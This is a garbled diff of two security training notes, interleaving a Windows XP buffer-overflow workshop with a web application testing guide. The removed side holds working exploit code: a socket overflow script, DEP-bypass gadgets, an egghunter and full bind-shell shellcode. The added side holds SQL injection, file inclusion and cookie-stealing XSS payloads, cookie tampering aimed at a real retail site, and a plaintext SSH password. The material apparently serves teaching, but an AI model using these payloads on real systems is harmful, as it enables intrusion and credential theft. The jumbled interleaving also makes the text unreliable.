-    “r” to show registers or “alt+4”
+
 **** now upload your newly created payloads to reverse.it ****
 
-    0:003> dd eip
+
-    0:003> dd esp
+
 ##################################
 # Basic: Web Application Testing #
 ##################################
 
-c:\python27\python.exe warftpd2.py XPSP3-ED-Target-IP
+Most people are going to tell you reference the OWASP Testing guide.
 https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
 
 I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
-    At WINDBG prompt
+
-    “r” to show registers or “alt+4”
+
 The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
 
   1. Does the website talk to a DB?
-    0:003> dd eip
+      - Look for parameter passing (ex: site.com/page.php?id=4)
-    0:003> dd esp
+      - If yes - try SQL Injection
 
   2. Can I or someone else see what I type?
-    Eip: 32714131
+      - If yes - try XSS
-    esp: affd58     (71413471)
+
   3. Does the page reference a file?
-    Now we need to SSH into the StrategicSec Ubuntu host
+      - If yes - try LFI/RFI
 
 Let's start with some manual testing against 45.63.104.73
 
-    cd /usr/share/metasploit-framework/tools/exploit/
+
 #######################
-    ./pattern_offset.rb -q 32714131
+
-    485
+
 
-    ./pattern_offset.rb -q 71413471
+
-    493
+https://phpapp.infosecaddicts.com/
 
 
-    Distance to EIP is:         	485
+
-    Relative position of ESP is:    493
+
 https://phpapp.infosecaddicts.com/acre2.php?lap=acer
-    RET – POP EIP
+
-    RET 4 – POP EIP and shift ESP down by 4 bytes
+   - Found parameter passing (answer yes to question 1)
    - Insert ' to test for SQLI
 
 ---------------------------Type This-----------------------------------
-    wget https://raw.githubusercontent.com/pwnieexpress/metasploit-framework/master/msfpescan
+
-    mkdir DLLs
+https://phpapp.infosecaddicts.com/acre2.php?lap=acer'
-    ./msfpescan -j ESP DLLs/shell32.dll
+
 -----------------------------------------------------------------------
 
-        0x7c9c167d push esp; retn 0x304d
+
-        0x7c9d30d7 jmp esp < - how about we use this one
+You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
-        0x7c9d30eb jmp esp
+
-        0x7c9d30ff jmp esp
+
 
 In order to perform union-based sql injection - we must first determine the number of columns in this query.
-        warftpd3.py with Notepad++
+
-        Fill in the appropriate values
+
-        Distance to EIP
+
-        Address of JMP ESP
+
 https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 100-- +
 -----------------------------------------------------------------------
 
 Page returns the following error:
-c:\python27\python.exe warftpd3.py XPSP3-ED-Target-IP
+
 
-    0:003> dd eip
+
-    0:003> dd esp
+
 
 https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 50-- +
 -----------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '50' in 'order clause'
-    Mention bad characters
+
-    No debugger
+
 ---------------------------Type This-----------------------------------
 
 https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 25-- +
 -----------------------------------------------------------------------
-c:\python27\python.exe warftpd4.py XPSP3-ED-Target-IP
+
 Page returns the following error:
-nc XPSP3-ED-Target-IP 4444
+
 
 
 ---------------------------Type This-----------------------------------
 
 https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 12-- +
-# Lab 1b: Stack Overflows with DEP Bypass #
+
 
 Page returns the following error:
-Reboot your target host and choose the "2nd" option for DEP.
+
 
 
 ---------------------------Type This-----------------------------------
 
 https://phpapp.infosecaddicts.com/acre2.php?lap=acer' order by 6-- +
 -----------------------------------------------------------------------
-c:\python27\python.exe warftpd1.py XPSP3-ED-Target-IP
+
 ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
-    At WINDBG prompt
+
-    “r” to show registers or “alt+4”
+
 
-    dd esp
+
 
 Reference:
 http://www.techonthenet.com/sql/union.php
 
-c:\python27\python.exe warftpd2.py XPSP3-ED-Target-IP
+
 ---------------------------Type This-----------------------------------
 
-    At WINDBG prompt
+https://phpapp.infosecaddicts.com/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
-    “r” to show registers or “alt+4”
+
-    dd esp
+
 
 
-    Eip: 32714131
+
-    esp: affd58     (71413471)
+
 
-    Now we need to SSH into the StrategicSec Ubuntu host
+https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
 -----------------------------------------------------------------------
 
 We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
-    cd /home/strategicsec/toolz/metasploit/tools
+
 
-    ruby pattern_offset.rb 32714131
+
-    485
+
 
-    ruby pattern_offset.rb 71413471
+
-    493
+
 https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
 
 https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
 
 https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
 
 https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
 
-cd /home/strategicsec/toolz/metasploit/tools
+
 https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
-ruby pattern_offset.rb 32714131
+
 -----------------------------------------------------------------------
-cd /home/strategicsec/toolz/metasploit/
+
 
-./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
+
 ########################
 # Question I get a lot #
 ########################
-c:\python27\python.exe warftpd3.py XPSP3-ED-Target-IP
+
 
-    0:003> dd eip
+
-    0:003> dd esp
+
 
-INT3s - GOOD!!!!!!!
+
 
 
 
-c:\python27\python.exe warftpd4.py XPSP3-ED-Target-IP
+
 #########################
-nc XPSP3-ED-Target-IP 4444
+# File Handling Attacks #
 #########################
 
 Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
-strategicsec....exploit no workie!!!!
+
 ---------------------------Type This-----------------------------------
 
-Why????????? DEP!!!!!!!!!!!!!
+https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt
 
 -----------------------------------------------------------------------
 
 
-Let's look through ole32.dll for the following instructions:
+See if you can read files on the file system:
 ---------------------------Type This-----------------------------------
-mov al,0x1
+
-ret 0x4
+https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd
 -----------------------------------------------------------------------
-We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
+
 We call this attack a Local File Include or LFI.
 
 Now let's find some text out on the internet somewhere:
 https://www.gnu.org/software/hello/manual/hello.txt
-./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
+
 
 Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
-[DLLs/xpsp3/ole32.dll]
+
-0x775ee00e b001c204
+
-0x775ee00e      mov al, 1
+
-0x775ee010      ret 4
+https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
 -----------------------------------------------------------------------
 
-Then we need to jump to the LdrpCheckNXCompatibility routine in
+#########################################################################################
-ntdll.dll that disables DEP.
+# SQL Injection                                                                         #
 # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx                       #
 #########################################################################################
 
-Inside of ntdll.dll we need to find the following instructions:
+
 - Another quick way to test for SQLI is to remove the paramter value
-CMP AL,1
+
-PUSH 2
+
-POP ESI
+#############################
-JE ntdll.7
+# Error-Based SQL Injection #
 #############################
 ---------------------------Type This-----------------------------------
 
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
-./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
-[DLLs/xpsp3/ntdll.dll]
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
-0x7c91cd24 3c016a025e0f84
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
-0x7c91cd24      cmp al, 1
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
-0x7c91cd26      push 2
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
-0x7c91cd28      pop esi
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
-0x7c91cd29      jz 7
+
 -----------------------------------------------------------------------
 
-This set of instructions makes sure that AL is set to 1, 2 is pushed
+
-on the stack then popped into ESI.
+
 #############################
 # Union-Based SQL Injection #
 #############################
 
 ---------------------------Type This-----------------------------------
 
-dep = "\x0e\xe0\x5e\x77"+\
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100--
-"\xff\xff\xff\xff"+\
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50--
-"\x24\xcd\x91\x7c"+\
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25--
-"\xff\xff\xff\xff"+\
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10--
-"A"*0x54
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9--
-c:\python27\python.exe warftpd5.py XPSP3-ED-Target-IP
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
 -----------------------------------------------------------------------
-nc XPSP3-ED-Target-IP 4444
+
  We are using a union select statement because we are joining the developer's query with one of our own.
    Reference:
    http://www.techonthenet.com/sql/union.php
-########################################
+   The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
-# Lab 2a: Not Enough Space (Egghunter) #
+   It removes duplicate rows between the various SELECT statements.
-########################################
+
    Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 
 ---------------------------Type This-----------------------------------
-SWS - SIMPLE WEB SERVER
+
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
 -----------------------------------------------------------------------
-Running SWS on Strategicsec-XP-ED-Target-VM
+
-Start > Programs > Simple Web Server (it's in the middle somewhere)
+   Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
-Red icon in system tray
+
-Double click it
+
-- it will pop up a menu
+
-- select "start"
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
-- dialog box shows starting params - port 82
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
-WinDBG
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
-- attach to "server.exe"
+
 -----------------------------------------------------------------------
 
 
-c:\python27\python.exe  sws1.py XPSP3-ED-Target-IP
+
 
-    0:003> dd eip
+- Another way is to see if you can get the backend to perform an arithmetic function
-    0:003> dd esp
+
 ---------------------------Type This-----------------------------------
-c:\python27\python.exe  sws2.py XPSP3-ED-Target-IP
+
-
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2)
-    0:003> dd eip
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2)
-    0:003> dd esp
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1)
 
-SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
+
-cd /home/strategicsec/toolz/metasploit/tools
+
-ruby pattern_offset.rb 41356841             <------- You should see that EIP is at 225
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1--
-ruby pattern_offset.rb 68413668             <------- You should see that ESP is at 229
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1#
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99#
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1#
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0#
 
 
 
-EGGHUNTER:
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1--
-----------
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1--
-"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1--
-"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
+
-          ^^^^^^^^^^^^^^^^
+
-               ABBA
+
-                                         JMP ESP
+
-                                        /
+
-                                       /
+# Blind SQL Injection Testing #
-GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
+
-User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
+Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
 
 3 - Total Characters
 ---------------------------Type This-----------------------------------
 
------sws3.py-----
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
-#!/usr/bin/python2
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
-import os
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
-import sys
+
-import socket
+
-import struct # for pack function
+Let's go for a quick check to see if it's DBO
 
-if len(sys.argv) < 2:
+
-	sys.stderr.write("Usage: sws3.py <host>\n")
+
-	sys.exit(1)
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
 -----------------------------------------------------------------------
 
-target = sys.argv[1]
+Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
-port = 82
+
 ---------------------------Type This-----------------------------------
 
-pad = "A" * 225        # distance to EIP
+D  - 1st Character
-eip = 0x7e429353       # replace EIP to point to "jmp esp" from user32.dll
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
-egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
-egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
 
-shellcode = "\xCC" * 700
+B - 2nd Character
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-buf = "GET /"
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-buf += pad + struct.pack('<I', eip) + egghunter
+
-buf += " HTTP/1.0\r\n"
+O - 3rd Character
-buf += "User-Agent: ABBAABBA"
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-buf += shellcode
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
-buf += " HTTP/1.0\r\n"
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
-s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # for TCP
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
-# s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for UDP
+https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
-try:
+
-	s.connect((target, port))
+
-	s.sendall(buf)
+
-except Exception as e:
+
-	sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
+
-finally:
+
-	s.close()
+
-	sys.stderr.write("Sent.\n")
+
------
+
 ################################
-############################################
+# Playing with session cookies #
-# Lab 2b: Not Enough Space (Negative Jump) #
+
-############################################
+
 -----------------------------------------------------------------------
 Step 1: Browse to the shopping cart page NewEgg.com
 -------------------Browse to this webpage in Firefox------------------------------
 https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
 ----------------------------------------------------------------------------------
-[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
+
 
-                                    ^
+
-1 ----------------------1 overflow the buffer---------------------------|
+Step 2: View the current session ID
-
+---Type this over the shopping car URL in the address bar (don't paste it )---------
-                                    ^                    ^
+javascript:void(document.write(document.cookie))
-                                    |
+------------------------------------------------------------------------------------
-                                    2 ----jump over seh record---|
+
 You should see your session cookie and if you don't try again in a different browser
-                                                     ^              ^
+
-                                                     |
+
-                                                     3--POP 2 words off stack---|
+
 Step 3: Go back to the shopping cart page (click the back button)
-                                                                    ^
+
-4 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
+https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
 ---------------------------------------------------------------------------------
 
 
-# Lab 2c: Not Enough Space (Trampoline) #
+Step 4: Now let's modify the session ID
 ---Type this over the shopping car URL in the address bar (don't paste it )---------
 javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
 ------------------------------------------------------------------------------------
 
-cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
+
 
 Step 5: Go back to the shopping cart page (click the back button)
 ---------------------------------------------------------------------------------
-On the Strategicsec-XP-ED-Target-VM VM
+https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
 ---------------------------------------------------------------------------------
-- open a command prompt
+
-- c:\software\tftpd32
+
-- run tftpd32.exe
+
-- UDP port 69
+Step 6: View the current session ID
-(socket code is already in the scripts)
+---Type this over the shopping car URL in the address bar (don't paste it )---------
 javascript:void(document.write(document.cookie))
 ------------------------------------------------------------------------------------
 
 -----------------------------------------------------------------------
-On your attack host please install:
+
 #########################################################
 # What is XSS                                           #
-  NASM - Netwide Assembler
+# https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx #
 #########################################################
 
 OK - what is Cross Site Scripting (XSS)
 
 1. Use Firefox to browse to the following location:
------------------------------------------------------------------------------------------------------------------
+
 
    https://phpapp.infosecaddicts.com/xss_practice/
-We want to generate the shellcode (BIND SHELL on Port 4444)
+
-- No restricted characters
+
-- Encoder: NONE
+   A really simple search page that is vulnerable should come up.
 
-Create a Python file called dumpshellcode.py
+
 
----
+
-#!/usr/bin/python2
+
 ---------------------------Type This-----------------------------------
-import os
+
-import sys
+   <script>alert('So this is XSS')</script>
-import struct
+
 
 
-# win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
+   This should pop-up an alert window with your message in it proving XSS is in fact possible.
-shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
+   Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
-shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
+
-shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
+
-shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
+
-shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
+
-shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
+
-shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
+   <script>alert(document.cookie)</script>
-shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
+
-shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
+
-shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
+
-shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
+   This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
-shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
+   Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
-shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
+
-shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
+
-shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
+
-shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
+
-shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
+   <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script>
-shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
+
-shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
+
-shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
+
 This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
-sys.stdout.write(shellcode)
+
----
+
 5. Now view the stolen cookie at:
 ---------------------------Type This-----------------------------------
 
-python dumpshell.py > bindshell.bin
+   https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html
 -----------------------------------------------------------------------
-copy bindshellcode.bin into the "c:\Program Files\nasm" directory
+
 
 The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
 
-Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
+
-317 bindshell.bin
+
 
 
 
-C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
+
 # A Better Way To Demo XSS #
 ############################
-00000000  FC                cld
+
-00000001  6AEB              push byte -0x15
+
-00000003  4D                dec ebp
+
-00000004  E8F9FFFFFF        call dword 0x2
+
-00000009  60                pushad
+
-0000000A  8B6C2424          mov ebp,[esp+0x24]
+
-0000000E  8B453C            mov eax,[ebp+0x3c]
+
-00000011  8B7C0578          mov edi,[ebp+eax+0x78]
+
-00000015  01EF              add edi,ebp
+ https://phpapp.infosecaddicts.com/xss_practice/
-00000017  8B4F18            mov ecx,[edi+0x18]
+
-0000001A  8B5F20            mov ebx,[edi+0x20]
+
-0000001D  01EB              add ebx,ebp
+
-0000001F  49                dec ecx
+
-00000020  8B348B            mov esi,[ebx+ecx*4]
+
-00000023  01EE              add esi,ebp
+
-00000025  31C0              xor eax,eax
+
-00000027  99                cdq
+
-00000028  AC                lodsb
+
-00000029  84C0              test al,al
+
-0000002B  7407              jz 0x34
+
-0000002D  C1CA0D            ror edx,0xd
+
-00000030  01C2              add edx,eax
+document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">");
-00000032  EBF4              jmp short 0x28
+
-00000034  3B542428          cmp edx,[esp+0x28]
+
-00000038  75E5              jnz 0x1f
+
-0000003A  8B5F24            mov ebx,[edi+0x24]
+
-0000003D  01EB              add ebx,ebp
+
-0000003F  668B0C4B          mov cx,[ebx+ecx*2]
+
-00000043  8B5F1C            mov ebx,[edi+0x1c]
+
-00000046  01EB              add ebx,ebp
+ https://phpapp.infosecaddicts.com/xss_practice/passwords.html
-00000048  032C8B            add ebp,[ebx+ecx*4]
+
-0000004B  896C241C          mov [esp+0x1c],ebp
+
-0000004F  61                popad
+
-00000050  C3                ret
+
-00000051  31DB              xor ebx,ebx
+
-00000053  648B4330          mov eax,[fs:ebx+0x30]
+
-00000057  8B400C            mov eax,[eax+0xc]
+# Mobile Malware Analysis #
-0000005A  8B701C            mov esi,[eax+0x1c]
+##########################
-0000005D  AD                lodsd
+sudo apt install -y androguard android-platform-tools-base apktool split-select google-android-build-tools-installer
-0000005E  8B4008            mov eax,[eax+0x8]
+
-00000061  5E                pop esi
+Open IDLE, and let's just dive right in.
-00000062  688E4E0EEC        push dword 0xec0e4e8e
+
-00000067  50                push eax
+
-00000068  FFD6              call esi
+- I prefer to use Putty to SSH into my Linux host.
-0000006A  6653              push bx
+- You can download Putty from here:
-0000006C  66683332          push word 0x3233
+- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
-00000070  687773325F        push dword 0x5f327377
+
-00000075  54                push esp
+Here is the information to put into putty
-00000076  FFD0              call eax
+
-00000078  68CBEDFC3B        push dword 0x3bfcedcb
+Host Name:          107.191.39.106
-0000007D  50                push eax
+protocol:           ssh
-0000007E  FFD6              call esi                     PART 1
+port:               22
-00000080  5F                pop edi
+username:           sempra
-00000081  89E5              mov ebp,esp
+password:           semprapython3!
-00000083  6681ED0802        sub bp,0x208
+
-00000088  55                push ebp
+
-00000089  6A02              push byte +0x2
+
-0000008B  FFD0              call eax
+
-0000008D  68D909F5AD        push dword 0xadf509d9
+What is an APK?
-00000092  57                push edi
+An Android application is packaged as an APK ( Android Package ) file, which is essentially a ZIP file containing the compiled code, the resources, signature, manifest and every other file the software needs in order to run. Being it a ZIP file, we can start looking at its contents using the unzip command line utility ( or any other unarchiver you use ):
-00000093  FFD6              call esi
+
-00000095  53                push ebx
+
-00000096  53                push ebx
+cd android_malware
---------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
+unzip application.apk -d yourname
-00000097  53                push ebx
+
-00000098  53                push ebx
+
-00000099  53                push ebx
+Here’s what you will find inside an APK.
-0000009A  43                inc ebx
+
-0000009B  53                push ebx
+
-0000009C  43                inc ebx
+cd yourname
-0000009D  53                push ebx                       PART 2
+
-0000009E  FFD0              call eax
+
-000000A0  6668115C          push word 0x5c11
+
-000000A4  6653              push bx
+- AndroidManifest.xml (file)
-000000A6  89E1              mov ecx,esp
+This is the binary representation of the XML manifest file describing what permissions the application will request (keep in mind that some of the permissions might be requested at runtime by the app and not declared here), what activities ( GUIs ) are in there, what services ( stuff running in the background with no UI ) and what receivers ( classes that can receive and handle system events such as the device boot or an incoming SMS ).
-000000A8  95                xchg eax,ebp
+
-000000A9  68A41A70C7        push dword 0xc7701aa4
+Once decompiled (more on this later), it’ll look like this:
